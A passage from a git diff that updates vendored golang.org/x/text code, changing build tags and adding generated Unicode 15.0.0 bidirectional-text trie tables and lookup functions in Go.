0x3e, 0x371: 0x3e, 0x372: 0x3e, 0x373: 0x3e, 0x374: 0x3e, 0x375: 0x3e, 0x376: 0x3e, 0x377: 0x3e, + 0x378: 0x3e, 0x379: 0x3e, 0x37a: 0x3e, 0x37b: 0x3e, 0x37c: 0x3e, 0x37d: 0x3e, 0x37e: 0x3e, 0x37f: 0x3e, + // Block 0xe, offset 0x380 + 0x380: 0x3e, 0x381: 0x3e, 0x382: 0x3e, 0x383: 0x3e, 0x384: 0x3e, 0x385: 0x3e, 0x386: 0x3e, 0x387: 0x3e, + 0x388: 0x3e, 0x389: 0x3e, 0x38a: 0x3e, 0x38b: 0x3e, 0x38c: 0x3e, 0x38d: 0x3e, 0x38e: 0x3e, 0x38f: 0x3e, + 0x390: 0x3e, 0x391: 0x3e, 0x392: 0x3e, 0x393: 0x3e, 0x394: 0x3e, 0x395: 0x3e, 0x396: 0x3e, 0x397: 0x3e, + 0x398: 0x3e, 0x399: 0x3e, 0x39a: 0x3e, 0x39b: 0x3e, 0x39c: 0x3e, 0x39d: 0x3e, 0x39e: 0x3e, 0x39f: 0x3e, + 0x3a0: 0x3e, 0x3a1: 0x3e, 0x3a2: 0x3e, 0x3a3: 0x3e, 0x3a4: 0x80, 0x3a5: 0x80, 0x3a6: 0x80, 0x3a7: 0x80, + 0x3a8: 0xa8, 0x3a9: 0xa9, 0x3aa: 0x80, 0x3ab: 0xaa, 0x3ac: 0xab, 0x3ad: 0xac, 0x3ae: 0x71, 0x3af: 0xad, + 0x3b0: 0x71, 0x3b1: 0x71, 0x3b2: 0x71, 0x3b3: 0x71, 0x3b4: 0x71, 0x3b5: 0x71, 0x3b6: 0xae, 0x3b7: 0xaf, + 0x3b8: 0xb0, 0x3b9: 0xb1, 0x3ba: 0x71, 0x3bb: 0xb2, 0x3bc: 0xb3, 0x3bd: 0xb4, 0x3be: 0xb5, 0x3bf: 0xb6, + // Block 0xf, offset 0x3c0 + 0x3c0: 0xb7, 0x3c1: 0xb8, 0x3c2: 0x05, 0x3c3: 0xb9, 0x3c4: 0xba, 0x3c5: 0xbb, 0x3c6: 0xbc, 0x3c7: 0xbd, + 0x3ca: 0xbe, 0x3cb: 0xbf, 0x3cc: 0xc0, 0x3cd: 0xc1, 0x3ce: 0xc2, 0x3cf: 0xc3, + 0x3d0: 0x05, 0x3d1: 0x05, 0x3d2: 0xc4, 0x3d3: 0xc5, 0x3d4: 0xc6, 0x3d5: 0xc7, 0x3d6: 0xc8, + 0x3d8: 0x05, 0x3d9: 0x05, 0x3da: 0x05, 0x3db: 0x05, 0x3dc: 0xc9, 0x3dd: 0xca, 0x3de: 0xcb, + 0x3e0: 0xcc, 0x3e1: 0xcd, 0x3e2: 0xce, 0x3e3: 0xcf, 0x3e4: 0xd0, 0x3e6: 0xd1, 0x3e7: 0xae, + 0x3e8: 0xd2, 0x3e9: 0xd3, 0x3ea: 0xd4, 0x3eb: 0xd5, 0x3ec: 0xd6, 0x3ed: 0xd7, 0x3ee: 0xd8, + 0x3f0: 0x05, 0x3f1: 0xd9, 0x3f2: 0xda, 0x3f3: 0xdb, 0x3f4: 0xdc, + 0x3f9: 0xdd, 0x3fa: 0xde, 0x3fb: 0xdf, 0x3fc: 0xe0, 0x3fd: 0xe1, 0x3fe: 0xe2, 0x3ff: 0xe3, + // Block 0x10, offset 0x400 + 0x400: 0xe4, 0x401: 0xe5, 0x402: 0xe6, 0x403: 0xe7, 0x404: 0xe8, 0x405: 0xe9, 0x406: 0xea, 0x407: 0xeb, + 0x408: 0xec, 0x409: 0xed, 0x40a: 0xee, 0x40b: 0xef, 0x40c: 0xf0, 0x40d: 0xf1, + 0x410: 0xf2, 0x411: 0xf3, 0x412: 0xf4, 0x413: 0xf5, 0x416: 0xf6, 0x417: 0xf7, + 0x418: 0xf8, 0x419: 0xf9, 0x41a: 0xfa, 0x41b: 0xfb, 0x41c: 0xfc, 0x41d: 0xfd, + 0x420: 0xfe, 0x422: 0xff, 0x423: 0x100, 0x424: 0x101, 0x425: 0x102, 0x426: 0x103, 0x427: 0x104, + 0x428: 0x105, 0x429: 0x106, 0x42a: 0x107, 0x42b: 0x108, 0x42c: 0x109, + 0x430: 0x10a, 0x431: 0x10b, 0x432: 0x10c, 0x434: 0x10d, 0x435: 0x10e, 0x436: 0x10f, + 0x43b: 0x110, 0x43c: 0x111, 0x43d: 0x112, 0x43e: 0x113, 0x43f: 0x114, + // Block 0x11, offset 0x440 + 0x440: 0x05, 0x441: 0x05, 0x442: 0x05, 0x443: 0x05, 0x444: 0x05, 0x445: 0x05, 0x446: 0x05, 0x447: 0x05, + 0x448: 0x05, 0x449: 0x05, 0x44a: 0x05, 0x44b: 0x05, 0x44c: 0x05, 0x44d: 0x05, 0x44e: 0x115, + 0x450: 0x71, 0x451: 0x116, 0x452: 0x05, 0x453: 0x05, 0x454: 0x05, 0x455: 0x117, + 0x47e: 0x118, 0x47f: 0x119, + // Block 0x12, offset 0x480 + 0x480: 0x05, 0x481: 0x05, 0x482: 0x05, 0x483: 0x05, 0x484: 0x05, 0x485: 0x05, 0x486: 0x05, 0x487: 0x05, + 0x488: 0x05, 0x489: 0x05, 0x48a: 0x05, 0x48b: 0x05, 0x48c: 0x05, 0x48d: 0x05, 0x48e: 0x05, 0x48f: 0x05, + 0x490: 0x11a, 0x491: 0x11b, + // Block 0x13, offset 0x4c0 + 0x4d0: 0x05, 0x4d1: 0x05, 0x4d2: 0x05, 0x4d3: 0x05, 0x4d4: 0x05, 0x4d5: 0x05, 0x4d6: 0x05, 0x4d7: 0x05, + 0x4d8: 0x05, 0x4d9: 0xfd, + // Block 0x14, offset 0x500 + 0x520: 0x05, 0x521: 0x05, 0x522: 0x05, 0x523: 0x05, 0x524: 0x05, 0x525: 0x05, 0x526: 0x05, 0x527: 0x05, + 0x528: 0x108, 0x529: 0x11c, 0x52a: 0x11d, 0x52b: 0x11e, 0x52c: 0x11f, 0x52d: 0x120, 0x52e: 0x121, + 0x539: 0x05, 0x53a: 0x122, 0x53c: 0x05, 0x53d: 0x123, 0x53e: 0x124, 0x53f: 0x125, + // Block 0x15, offset 0x540 + 0x540: 0x05, 0x541: 0x05, 0x542: 0x05, 0x543: 0x05, 0x544: 0x05, 0x545: 0x05, 0x546: 0x05, 0x547: 0x05, + 0x548: 0x05, 0x549: 0x05, 0x54a: 0x05, 0x54b: 0x05, 0x54c: 0x05, 0x54d: 0x05, 0x54e: 0x05, 0x54f: 0x05, + 0x550: 0x05, 0x551: 0x05, 0x552: 0x05, 0x553: 0x05, 0x554: 0x05, 0x555: 0x05, 0x556: 0x05, 0x557: 0x05, + 0x558: 0x05, 0x559: 0x05, 0x55a: 0x05, 0x55b: 0x05, 0x55c: 0x05, 0x55d: 0x05, 0x55e: 0x05, 0x55f: 0x126, + 0x560: 0x05, 0x561: 0x05, 0x562: 0x05, 0x563: 0x05, 0x564: 0x05, 0x565: 0x05, 0x566: 0x05, 0x567: 0x05, + 0x568: 0x05, 0x569: 0x05, 0x56a: 0x05, 0x56b: 0x05, 0x56c: 0x05, 0x56d: 0x05, 0x56e: 0x05, 0x56f: 0x05, + 0x570: 0x05, 0x571: 0x05, 0x572: 0x05, 0x573: 0x127, 0x574: 0xd9, + // Block 0x16, offset 0x580 + 0x5bf: 0x128, + // Block 0x17, offset 0x5c0 + 0x5c0: 0x8d, 0x5c1: 0x8d, 0x5c2: 0x8d, 0x5c3: 0x8d, 0x5c4: 0x129, 0x5c5: 0x12a, 0x5c6: 0x05, 0x5c7: 0x05, + 0x5c8: 0x05, 0x5c9: 0x05, 0x5ca: 0x05, 0x5cb: 0x12b, + 0x5f0: 0x05, 0x5f1: 0x12c, 0x5f2: 0x12d, + // Block 0x18, offset 0x600 + 0x63c: 0x12e, 0x63d: 0x12f, 0x63e: 0x71, 0x63f: 0x130, + // Block 0x19, offset 0x640 + 0x640: 0x71, 0x641: 0x71, 0x642: 0x71, 0x643: 0x131, 0x644: 0x132, 0x645: 0x133, 0x646: 0x134, 0x647: 0x135, + 0x648: 0xbb, 0x649: 0x136, 0x64b: 0x137, 0x64c: 0x71, 0x64d: 0x138, + 0x650: 0x71, 0x651: 0x139, 0x652: 0x13a, 0x653: 0x13b, 0x654: 0x13c, 0x655: 0x13d, 0x656: 0x71, 0x657: 0x71, + 0x658: 0x71, 0x659: 0x71, 0x65a: 0x13e, 0x65b: 0x71, 0x65c: 0x71, 0x65d: 0x71, 0x65e: 0x71, 0x65f: 0x13f, + 0x660: 0x71, 0x661: 0x71, 0x662: 0x71, 0x663: 0x71, 0x664: 0x71, 0x665: 0x71, 0x666: 0x71, 0x667: 0x71, + 0x668: 0x140, 0x669: 0x141, 0x66a: 0x142, + 0x67c: 0x143, + // Block 0x1a, offset 0x680 + 0x680: 0x144, 0x681: 0x145, 0x682: 0x146, 0x684: 0x147, 0x685: 0x148, + 0x68a: 0x149, 0x68b: 0x14a, + 0x693: 0x14b, + 0x69f: 0x14c, + 0x6a0: 0x05, 0x6a1: 0x05, 0x6a2: 0x05, 0x6a3: 0x14d, 0x6a4: 0x14e, 0x6a5: 0x14f, + 0x6b1: 0x150, 0x6b2: 0x151, 0x6b4: 0x152, + 0x6b8: 0x153, 0x6b9: 0x154, 0x6ba: 0x155, 0x6bb: 0x156, + // Block 0x1b, offset 0x6c0 + 0x6c0: 0x157, 0x6c1: 0x71, 0x6c2: 0x158, 0x6c3: 0x159, 0x6c4: 0x71, 0x6c5: 0x71, 0x6c6: 0x145, 0x6c7: 0x15a, + 0x6c8: 0x15b, 0x6c9: 0x15c, 0x6cc: 0x71, 0x6cd: 0x71, 0x6ce: 0x71, 0x6cf: 0x71, + 0x6d0: 0x71, 0x6d1: 0x71, 0x6d2: 0x71, 0x6d3: 0x71, 0x6d4: 0x71, 0x6d5: 0x71, 0x6d6: 0x71, 0x6d7: 0x71, + 0x6d8: 0x71, 0x6d9: 0x71, 0x6da: 0x71, 0x6db: 0x15d, 0x6dc: 0x71, 0x6dd: 0x15e, 0x6de: 0x71, 0x6df: 0x15f, + 0x6e0: 0x160, 0x6e1: 0x161, 0x6e2: 0x162, 0x6e4: 0x71, 0x6e5: 0x71, 0x6e6: 0x71, 0x6e7: 0x71, + 0x6e8: 0x71, 0x6e9: 0x163, 0x6ea: 0x164, 0x6eb: 0x165, 0x6ec: 0x71, 0x6ed: 0x71, 0x6ee: 0x166, 0x6ef: 0x167, + // Block 0x1c, offset 0x700 + 0x700: 0x8d, 0x701: 0x8d, 0x702: 0x8d, 0x703: 0x8d, 0x704: 0x8d, 0x705: 0x8d, 0x706: 0x8d, 0x707: 0x8d, + 0x708: 0x8d, 0x709: 0x8d, 0x70a: 0x8d, 0x70b: 0x8d, 0x70c: 0x8d, 0x70d: 0x8d, 0x70e: 0x8d, 0x70f: 0x8d, + 0x710: 0x8d, 0x711: 0x8d, 0x712: 0x8d, 0x713: 0x8d, 0x714: 0x8d, 0x715: 0x8d, 0x716: 0x8d, 0x717: 0x8d, + 0x718: 0x8d, 0x719: 0x8d, 0x71a: 0x8d, 0x71b: 0x168, 0x71c: 0x8d, 0x71d: 0x8d, 0x71e: 0x8d, 0x71f: 0x8d, + 0x720: 0x8d, 0x721: 0x8d, 0x722: 0x8d, 0x723: 0x8d, 0x724: 0x8d, 0x725: 0x8d, 0x726: 0x8d, 0x727: 0x8d, + 0x728: 0x8d, 0x729: 0x8d, 0x72a: 0x8d, 0x72b: 0x8d, 0x72c: 0x8d, 0x72d: 0x8d, 0x72e: 0x8d, 0x72f: 0x8d, + 0x730: 0x8d, 0x731: 0x8d, 0x732: 0x8d, 0x733: 0x8d, 0x734: 0x8d, 0x735: 0x8d, 0x736: 0x8d, 0x737: 0x8d, + 0x738: 0x8d, 0x739: 0x8d, 0x73a: 0x8d, 0x73b: 0x8d, 0x73c: 0x8d, 0x73d: 0x8d, 0x73e: 0x8d, 0x73f: 0x8d, + // Block 0x1d, offset 0x740 + 0x740: 0x8d, 0x741: 0x8d, 0x742: 0x8d, 0x743: 0x8d, 0x744: 0x8d, 0x745: 0x8d, 0x746: 0x8d, 0x747: 0x8d, + 0x748: 0x8d, 0x749: 0x8d, 0x74a: 0x8d, 0x74b: 0x8d, 0x74c: 0x8d, 0x74d: 0x8d, 0x74e: 0x8d, 0x74f: 0x8d, + 0x750: 0x8d, 0x751: 0x8d, 0x752: 0x8d, 0x753: 0x8d, 0x754: 0x8d, 0x755: 0x8d, 0x756: 0x8d, 0x757: 0x8d, + 0x758: 0x8d, 0x759: 0x8d, 0x75a: 0x8d, 0x75b: 0x8d, 0x75c: 0x169, 0x75d: 0x8d, 0x75e: 0x8d, 0x75f: 0x8d, + 0x760: 0x16a, 0x761: 0x8d, 0x762: 0x8d, 0x763: 0x8d, 0x764: 0x8d, 0x765: 0x8d, 0x766: 0x8d, 0x767: 0x8d, + 0x768: 0x8d, 0x769: 0x8d, 0x76a: 0x8d, 0x76b: 0x8d, 0x76c: 0x8d, 0x76d: 0x8d, 0x76e: 0x8d, 0x76f: 0x8d, + 0x770: 0x8d, 0x771: 0x8d, 0x772: 0x8d, 0x773: 0x8d, 0x774: 0x8d, 0x775: 0x8d, 0x776: 0x8d, 0x777: 0x8d, + 0x778: 0x8d, 0x779: 0x8d, 0x77a: 0x8d, 0x77b: 0x8d, 0x77c: 0x8d, 0x77d: 0x8d, 0x77e: 0x8d, 0x77f: 0x8d, + // Block 0x1e, offset 0x780 + 0x780: 0x8d, 0x781: 0x8d, 0x782: 0x8d, 0x783: 0x8d, 0x784: 0x8d, 0x785: 0x8d, 0x786: 0x8d, 0x787: 0x8d, + 0x788: 0x8d, 0x789: 0x8d, 0x78a: 0x8d, 0x78b: 0x8d, 0x78c: 0x8d, 0x78d: 0x8d, 0x78e: 0x8d, 0x78f: 0x8d, + 0x790: 0x8d, 0x791: 0x8d, 0x792: 0x8d, 0x793: 0x8d, 0x794: 0x8d, 0x795: 0x8d, 0x796: 0x8d, 0x797: 0x8d, + 0x798: 0x8d, 0x799: 0x8d, 0x79a: 0x8d, 0x79b: 0x8d, 0x79c: 0x8d, 0x79d: 0x8d, 0x79e: 0x8d, 0x79f: 0x8d, + 0x7a0: 0x8d, 0x7a1: 0x8d, 0x7a2: 0x8d, 0x7a3: 0x8d, 0x7a4: 0x8d, 0x7a5: 0x8d, 0x7a6: 0x8d, 0x7a7: 0x8d, + 0x7a8: 0x8d, 0x7a9: 0x8d, 0x7aa: 0x8d, 0x7ab: 0x8d, 0x7ac: 0x8d, 0x7ad: 0x8d, 0x7ae: 0x8d, 0x7af: 0x8d, + 0x7b0: 0x8d, 0x7b1: 0x8d, 0x7b2: 0x8d, 0x7b3: 0x8d, 0x7b4: 0x8d, 0x7b5: 0x8d, 0x7b6: 0x8d, 0x7b7: 0x8d, + 0x7b8: 0x8d, 0x7b9: 0x8d, 0x7ba: 0x16b, 0x7bb: 0x8d, 0x7bc: 0x8d, 0x7bd: 0x8d, 0x7be: 0x8d, 0x7bf: 0x8d, + // Block 0x1f, offset 0x7c0 + 0x7c0: 0x8d, 0x7c1: 0x8d, 0x7c2: 0x8d, 0x7c3: 0x8d, 0x7c4: 0x8d, 0x7c5: 0x8d, 0x7c6: 0x8d, 0x7c7: 0x8d, + 0x7c8: 0x8d, 0x7c9: 0x8d, 0x7ca: 0x8d, 0x7cb: 0x8d, 0x7cc: 0x8d, 0x7cd: 0x8d, 0x7ce: 0x8d, 0x7cf: 0x8d, + 0x7d0: 0x8d, 0x7d1: 0x8d, 0x7d2: 0x8d, 0x7d3: 0x8d, 0x7d4: 0x8d, 0x7d5: 0x8d, 0x7d6: 0x8d, 0x7d7: 0x8d, + 0x7d8: 0x8d, 0x7d9: 0x8d, 0x7da: 0x8d, 0x7db: 0x8d, 0x7dc: 0x8d, 0x7dd: 0x8d, 0x7de: 0x8d, 0x7df: 0x8d, + 0x7e0: 0x8d, 0x7e1: 0x8d, 0x7e2: 0x8d, 0x7e3: 0x8d, 0x7e4: 0x8d, 0x7e5: 0x8d, 0x7e6: 0x8d, 0x7e7: 0x8d, + 0x7e8: 0x8d, 0x7e9: 0x8d, 0x7ea: 0x8d, 0x7eb: 0x8d, 0x7ec: 0x8d, 0x7ed: 0x8d, 0x7ee: 0x8d, 0x7ef: 0x16c, + // Block 0x20, offset 0x800 + 0x820: 0x80, 0x821: 0x80, 0x822: 0x80, 0x823: 0x80, 0x824: 0x80, 0x825: 0x80, 0x826: 0x80, 0x827: 0x80, + 0x828: 0x16d, + // Block 0x21, offset 0x840 + 0x840: 0x8d, 0x841: 0x8d, 0x842: 0x8d, 0x843: 0x8d, 0x844: 0x8d, 0x845: 0x8d, 0x846: 0x8d, 0x847: 0x8d, + 0x848: 0x8d, 0x849: 0x8d, 0x84a: 0x8d, 0x84b: 0x8d, 0x84c: 0x8d, 0x84d: 0x16e, 0x84e: 0x8d, 0x84f: 0x8d, + 0x850: 0x8d, 0x851: 0x8d, 0x852: 0x8d, 0x853: 0x8d, 0x854: 0x8d, 0x855: 0x8d, 0x856: 0x8d, 0x857: 0x8d, + 0x858: 0x8d, 0x859: 0x8d, 0x85a: 0x8d, 0x85b: 0x8d, 0x85c: 0x8d, 0x85d: 0x8d, 0x85e: 0x8d, 0x85f: 0x8d, + 0x860: 0x8d, 0x861: 0x8d, 0x862: 0x8d, 0x863: 0x8d, 0x864: 0x8d, 0x865: 0x8d, 0x866: 0x8d, 0x867: 0x8d, + 0x868: 0x8d, 0x869: 0x8d, 0x86a: 0x8d, 0x86b: 0x8d, 0x86c: 0x8d, 0x86d: 0x8d, 0x86e: 0x8d, 0x86f: 0x8d, + 0x870: 0x8d, 0x871: 0x8d, 0x872: 0x8d, 0x873: 0x8d, 0x874: 0x8d, 0x875: 0x8d, 0x876: 0x8d, 0x877: 0x8d, + 0x878: 0x8d, 0x879: 0x8d, 0x87a: 0x8d, 0x87b: 0x8d, 0x87c: 0x8d, 0x87d: 0x8d, 0x87e: 0x8d, 0x87f: 0x8d, + // Block 0x22, offset 0x880 + 0x880: 0x8d, 0x881: 0x8d, 0x882: 0x8d, 0x883: 0x8d, 0x884: 0x8d, 0x885: 0x8d, 0x886: 0x8d, 0x887: 0x8d, + 0x888: 0x8d, 0x889: 0x8d, 0x88a: 0x8d, 0x88b: 0x8d, 0x88c: 0x8d, 0x88d: 0x8d, 0x88e: 0x16f, + // Block 0x23, offset 0x8c0 + 0x8d0: 0x0d, 0x8d1: 0x0e, 0x8d2: 0x0f, 0x8d3: 0x10, 0x8d4: 0x11, 0x8d6: 0x12, 0x8d7: 0x09, + 0x8d8: 0x13, 0x8da: 0x14, 0x8db: 0x15, 0x8dc: 0x16, 0x8dd: 0x17, 0x8de: 0x18, 0x8df: 0x19, + 0x8e0: 0x07, 0x8e1: 0x07, 0x8e2: 0x07, 0x8e3: 0x07, 0x8e4: 0x07, 0x8e5: 0x07, 0x8e6: 0x07, 0x8e7: 0x07, + 0x8e8: 0x07, 0x8e9: 0x07, 0x8ea: 0x1a, 0x8eb: 0x1b, 0x8ec: 0x1c, 0x8ed: 0x07, 0x8ee: 0x1d, 0x8ef: 0x1e, + 0x8f0: 0x07, 0x8f1: 0x1f, 0x8f2: 0x20, + // Block 0x24, offset 0x900 + 0x900: 0x170, 0x901: 0x3e, 0x904: 0x3e, 0x905: 0x3e, 0x906: 0x3e, 0x907: 0x171, + // Block 0x25, offset 0x940 + 0x940: 0x3e, 0x941: 0x3e, 0x942: 0x3e, 0x943: 0x3e, 0x944: 0x3e, 0x945: 0x3e, 0x946: 0x3e, 0x947: 0x3e, + 0x948: 0x3e, 0x949: 0x3e, 0x94a: 0x3e, 0x94b: 0x3e, 0x94c: 0x3e, 0x94d: 0x3e, 0x94e: 0x3e, 0x94f: 0x3e, + 0x950: 0x3e, 0x951: 0x3e, 0x952: 0x3e, 0x953: 0x3e, 0x954: 0x3e, 0x955: 0x3e, 0x956: 0x3e, 0x957: 0x3e, + 0x958: 0x3e, 0x959: 0x3e, 0x95a: 0x3e, 0x95b: 0x3e, 0x95c: 0x3e, 0x95d: 0x3e, 0x95e: 0x3e, 0x95f: 0x3e, + 0x960: 0x3e, 0x961: 0x3e, 0x962: 0x3e, 0x963: 0x3e, 0x964: 0x3e, 0x965: 0x3e, 0x966: 0x3e, 0x967: 0x3e, + 0x968: 0x3e, 0x969: 0x3e, 0x96a: 0x3e, 0x96b: 0x3e, 0x96c: 0x3e, 0x96d: 0x3e, 0x96e: 0x3e, 0x96f: 0x3e, + 0x970: 0x3e, 0x971: 0x3e, 0x972: 0x3e, 0x973: 0x3e, 0x974: 0x3e, 0x975: 0x3e, 0x976: 0x3e, 0x977: 0x3e, + 0x978: 0x3e, 0x979: 0x3e, 0x97a: 0x3e, 0x97b: 0x3e, 0x97c: 0x3e, 0x97d: 0x3e, 0x97e: 0x3e, 0x97f: 0x172, + // Block 0x26, offset 0x980 + 0x9a0: 0x22, + 0x9b0: 0x0b, 0x9b1: 0x0b, 0x9b2: 0x0b, 0x9b3: 0x0b, 0x9b4: 0x0b, 0x9b5: 0x0b, 0x9b6: 0x0b, 0x9b7: 0x0b, + 0x9b8: 0x0b, 0x9b9: 0x0b, 0x9ba: 0x0b, 0x9bb: 0x0b, 0x9bc: 0x0b, 0x9bd: 0x0b, 0x9be: 0x0b, 0x9bf: 0x23, + // Block 0x27, offset 0x9c0 + 0x9c0: 0x0b, 0x9c1: 0x0b, 0x9c2: 0x0b, 0x9c3: 0x0b, 0x9c4: 0x0b, 0x9c5: 0x0b, 0x9c6: 0x0b, 0x9c7: 0x0b, + 0x9c8: 0x0b, 0x9c9: 0x0b, 0x9ca: 0x0b, 0x9cb: 0x0b, 0x9cc: 0x0b, 0x9cd: 0x0b, 0x9ce: 0x0b, 0x9cf: 0x23, +} + +// Total table size 28992 bytes (28KiB); checksum: 811C9DC5 diff --git a/vendor/golang.org/x/text/unicode/bidi/tables13.0.0.go b/vendor/golang.org/x/text/unicode/bidi/tables13.0.0.go index f248effae1..ffadb7bebd 100644 --- a/vendor/golang.org/x/text/unicode/bidi/tables13.0.0.go +++ b/vendor/golang.org/x/text/unicode/bidi/tables13.0.0.go @@ -1,7 +1,7 @@ // Code generated by running "go generate" in golang.org/x/text. DO NOT EDIT. -//go:build go1.16 -// +build go1.16 +//go:build go1.16 && !go1.21 +// +build go1.16,!go1.21 package bidi diff --git a/vendor/golang.org/x/text/unicode/bidi/tables15.0.0.go b/vendor/golang.org/x/text/unicode/bidi/tables15.0.0.go new file mode 100644 index 0000000000..92cce5802c --- /dev/null +++ b/vendor/golang.org/x/text/unicode/bidi/tables15.0.0.go @@ -0,0 +1,2043 @@ +// Code generated by running "go generate" in golang.org/x/text. DO NOT EDIT. + +//go:build go1.21 +// +build go1.21 + +package bidi + +// UnicodeVersion is the Unicode version from which the tables in this package are derived. +const UnicodeVersion = "15.0.0" + +// xorMasks contains masks to be xor-ed with brackets to get the reverse +// version. +var xorMasks = []int32{ // 8 elements + 0, 1, 6, 7, 3, 15, 29, 63, +} // Size: 56 bytes + +// lookup returns the trie value for the first UTF-8 encoding in s and +// the width in bytes of this encoding. The size will be 0 if s does not +// hold enough bytes to complete the encoding. len(s) must be greater than 0. +func (t *bidiTrie) lookup(s []byte) (v uint8, sz int) { + c0 := s[0] + switch { + case c0 < 0x80: // is ASCII + return bidiValues[c0], 1 + case c0 < 0xC2: + return 0, 1 // Illegal UTF-8: not a starter, not ASCII. + case c0 < 0xE0: // 2-byte UTF-8 + if len(s) < 2 { + return 0, 0 + } + i := bidiIndex[c0] + c1 := s[1] + if c1 < 0x80 || 0xC0 <= c1 { + return 0, 1 // Illegal UTF-8: not a continuation byte. + } + return t.lookupValue(uint32(i), c1), 2 + case c0 < 0xF0: // 3-byte UTF-8 + if len(s) < 3 { + return 0, 0 + } + i := bidiIndex[c0] + c1 := s[1] + if c1 < 0x80 || 0xC0 <= c1 { + return 0, 1 // Illegal UTF-8: not a continuation byte. + } + o := uint32(i)<<6 + uint32(c1) + i = bidiIndex[o] + c2 := s[2] + if c2 < 0x80 || 0xC0 <= c2 { + return 0, 2 // Illegal UTF-8: not a continuation byte. + } + return t.lookupValue(uint32(i), c2), 3 + case c0 < 0xF8: // 4-byte UTF-8 + if len(s) < 4 { + return 0, 0 + } + i := bidiIndex[c0] + c1 := s[1] + if c1 < 0x80 || 0xC0 <= c1 { + return 0, 1 // Illegal UTF-8: not a continuation byte. + } + o := uint32(i)<<6 + uint32(c1) + i = bidiIndex[o] + c2 := s[2] + if c2 < 0x80 || 0xC0 <= c2 { + return 0, 2 // Illegal UTF-8: not a continuation byte. + } + o = uint32(i)<<6 + uint32(c2) + i = bidiIndex[o] + c3 := s[3] + if c3 < 0x80 || 0xC0 <= c3 { + return 0, 3 // Illegal UTF-8: not a continuation byte. + } + return t.lookupValue(uint32(i), c3), 4 + } + // Illegal rune + return 0, 1 +} + +// lookupUnsafe returns the trie value for the first UTF-8 encoding in s. +// s must start with a full and valid UTF-8 encoded rune. +func (t *bidiTrie) lookupUnsafe(s []byte) uint8 { + c0 := s[0] + if c0 < 0x80 { // is ASCII + return bidiValues[c0] + } + i := bidiIndex[c0] + if c0 < 0xE0 { // 2-byte UTF-8 + return t.lookupValue(uint32(i), s[1]) + } + i = bidiIndex[uint32(i)<<6+uint32(s[1])] + if c0 < 0xF0 { // 3-byte UTF-8 + return t.lookupValue(uint32(i), s[2]) + } + i = bidiIndex[uint32(i)<<6+uint32(s[2])] + if c0 < 0xF8 { // 4-byte UTF-8 + return t.lookupValue(uint32(i), s[3]) + } + return 0 +} + +// lookupString returns the trie value for the first UTF-8 encoding in s and +// the width in bytes of this encoding. The size will be 0 if s does not +// hold enough bytes to complete the encoding. len(s) must be greater than 0. +func (t *bidiTrie) lookupString(s string) (v uint8, sz int) { + c0 := s[0] + switch { + case c0 < 0x80: // is ASCII + return bidiValues[c0], 1 + case c0 < 0xC2: + return 0, 1 // Illegal UTF-8: not a starter, not ASCII. + case c0 < 0xE0: // 2-byte UTF-8 + if len(s) < 2 { + return 0, 0 + } + i := bidiIndex[c0] + c1 := s[1] + if c1 < 0x80 || 0xC0 <= c1 { + return 0, 1 // Illegal UTF-8: not a continuation byte. + } + return t.lookupValue(uint32(i), c1), 2 + case c0 < 0xF0: // 3-byte UTF-8 + if len(s) < 3 { + return 0, 0 + } + i := bidiIndex[c0] + c1 := s[1] + if c1 < 0x80 || 0xC0 <= c1 { + return 0, 1 // Illegal UTF-8: not a continuation byte. + } + o := uint32(i)<<6 + uint32(c1) + i = bidiIndex[o] + c2 := s[2] + if c2 < 0x80 || 0xC0 <= c2 { + return 0, 2 // Illegal UTF-8: not a continuation byte. + } + return t.lookupValue(uint32(i), c2), 3 + case c0 < 0xF8: // 4-byte UTF-8 + if len(s) < 4 { + return 0, 0 + } + i := bidiIndex[c0] + c1 := s[1] + if c1 < 0x80 || 0xC0 <= c1 { + return 0, 1 // Illegal UTF-8: not a continuation byte. + } + o := uint32(i)<<6 + uint32(c1) + i = bidiIndex[o] + c2 := s[2] + if c2 < 0x80 || 0xC0 <= c2 { + return 0, 2 // Illegal UTF-8: not a continuation byte. + } + o = uint32(i)<<6 + uint32(c2) + i = bidiIndex[o] + c3 := s[3] + if c3 < 0x80 || 0xC0 <= c3 { + return 0, 3 // Illegal UTF-8: not a continuation byte. + } + return t.lookupValue(uint32(i), c3), 4 + } + // Illegal rune + return 0, 1 +} + +// lookupStringUnsafe returns the trie value for the first UTF-8 encoding in s. +// s must start with a full and valid UTF-8 encoded rune. +func (t *bidiTrie) lookupStringUnsafe(s string) uint8 { + c0 := s[0] + if c0 < 0x80 { // is ASCII + return bidiValues[c0] + } + i := bidiIndex[c0] + if c0 < 0xE0 { // 2-byte UTF-8 + return t.lookupValue(uint32(i), s[1]) + } + i = bidiIndex[uint32(i)<<6+uint32(s[1])] + if c0 < 0xF0 { // 3-byte UTF-8 + return t.lookupValue(uint32(i), s[2]) + } + i = bidiIndex[uint32(i)<<6+uint32(s[2])] + if c0 < 0xF8 { // 4-byte UTF-8 + return t.lookupValue(uint32(i), s[3]) + } + return 0 +} + +// bidiTrie. Total size: 19904 bytes (19.44 KiB). Checksum: b1f201ed2debb6c8. +type bidiTrie struct{} + +func newBidiTrie(i int) *bidiTrie { + return &bidiTrie{} +} + +// lookupValue determines the type of block n and looks up the value for b. +func (t *bidiTrie) lookupValue(n uint32, b byte) uint8 { + switch { + default: + return uint8(bidiValues[n<<6+uint32(b)]) + } +} + +// bidiValues: 259 blocks, 16576 entries, 16576 bytes +// The third block is the zero block. +var bidiValues = [16576]uint8{ + // Block 0x0, offset 0x0 + 0x00: 0x000b, 0x01: 0x000b, 0x02: 0x000b, 0x03: 0x000b, 0x04: 0x000b, 0x05: 0x000b, + 0x06: 0x000b, 0x07: 0x000b, 0x08: 0x000b, 0x09: 0x0008, 0x0a: 0x0007, 0x0b: 0x0008, + 0x0c: 0x0009, 0x0d: 0x0007, 0x0e: 0x000b, 0x0f: 0x000b, 0x10: 0x000b, 0x11: 0x000b, + 0x12: 0x000b, 0x13: 0x000b, 0x14: 0x000b, 0x15: 0x000b, 0x16: 0x000b, 0x17: 0x000b, + 0x18: 0x000b, 0x19: 0x000b, 0x1a: 0x000b, 0x1b: 0x000b, 0x1c: 0x0007, 0x1d: 0x0007, + 0x1e: 0x0007, 0x1f: 0x0008, 0x20: 0x0009, 0x21: 0x000a, 0x22: 0x000a, 0x23: 0x0004, + 0x24: 0x0004, 0x25: 0x0004, 0x26: 0x000a, 0x27: 0x000a, 0x28: 0x003a, 0x29: 0x002a, + 0x2a: 0x000a, 0x2b: 0x0003, 0x2c: 0x0006, 0x2d: 0x0003, 0x2e: 0x0006, 0x2f: 0x0006, + 0x30: 0x0002, 0x31: 